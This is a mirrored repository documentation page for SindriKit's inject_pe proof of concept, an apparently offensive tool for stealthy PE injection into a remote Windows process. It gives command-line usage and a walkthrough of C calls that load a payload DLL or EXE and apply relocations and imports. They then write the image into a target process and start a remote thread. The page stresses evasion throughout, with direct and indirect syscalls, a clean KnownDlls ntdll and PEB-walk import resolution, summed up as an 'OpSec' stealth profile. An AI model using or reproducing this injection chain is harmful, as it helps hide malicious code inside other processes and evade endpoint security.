mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
b7d3cf717c
- Implemented fully decoupled direct and indirect syscall invocation - Added dynamic PEB-based gadget scanning (syscall; ret / sysenter) - Added x86 & x64 inline MASM stubs with proper stack frame alignment - Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation - Extensive documentation across all primitives and examples
3.4 KiB
3.4 KiB
PoC: inject_pe
Location: pocs/inject_pe/
Full-stealth classic PE injection. Locally bakes a PE image (relocations + imports), writes it into a remote process, and creates a thread at the remote entry point via snd_inj_classic_pe.
What it demonstrates
- Loader + injection interop (
snd_ldr_pe_ctx_t+snd_inj_ctx_t) - KnownDlls
ntdllbootstrap for syscall resolution - Full
_sys/_ntstealth profile:snd_mem_sys,snd_mod_nt,snd_proc_sys - Remote thread at PE entry RVA (DllMain address for DLL payloads — not the loader's local DllMain/TLS path)
Command-line usage
inject_pe -f <payload_path> -p <target_pid>
-f Path to PE payload (DLL or EXE)
-p Target process ID (decimal)
Example
inject_pe.exe -f payload.dll -p 5678
For DLL payloads, the remote thread starts at AddressOfEntryPoint (typically DllMain). The classic PE chain does not run local TLS or the loader's typed DllMain invocation — see injection techniques.
Walkthrough
1. Load PE from disk
snd_buffer_t file_buf = {0};
snd_ldr_pe_ctx_t ldr_ctx = {0};
snd_inj_ctx_t inj_ctx = {0};
status = snd_disk_buffer_load(file_path, &file_buf);
ldr_ctx.raw_source = &file_buf;
2. Bootstrap clean ntdll + syscall pipeline
PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
3. Configure loader and injection contexts
ldr_ctx.mem_api = &snd_mem_sys; // direct syscalls for local mapping
ldr_ctx.mod_api = &snd_mod_nt; // PEB + EAT import resolution
inj_ctx.target_pid = target_pid;
inj_ctx.proc_api = &snd_proc_sys; // direct syscalls for remote ops
4. Single chain call
status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx);
Internally this interleaves loader fixups with remote allocation:
- Parse PE, allocate/copy locally
- Open target, allocate remote RW region
- Set
execution_base = remote_base, apply relocations + imports locally - Write baked image to remote process
- Protect remote region RX, set
remote_entry_pointto entry VA - Create remote thread
5. Cleanup
snd_inj_cleanup(&inj_ctx);
snd_ldr_pe_free_mapped_image(&ldr_ctx);
snd_buffer_free(&file_buf);
What this PoC does not do
- No per-section remote protections (flat
PAGE_EXECUTE_READon the whole image) - No TLS callback execution in the injection chain
- No local
snd_ldr_pe_execute_image— execution is entirely remote
See injection techniques for the full step table.
Building
cmake -B build -DSND_BUILD_PAYLOADS=ON
cmake --build build --config Release
OpSec impact
- Local memory: direct syscalls (
snd_mem_sys) - Imports: PEB walk + EAT parsing (
snd_mod_nt) - Remote ops: direct syscalls (
snd_proc_sys) - SSN resolution against KnownDlls-mapped clean
ntdll
This is the reference stealth profile for cross-process PE injection in SindriKit.
See also
- Injection API reference
- inject_shell.md — simpler shellcode path with Win32 remote APIs
- loader_nowinapi.md — local-only NT profile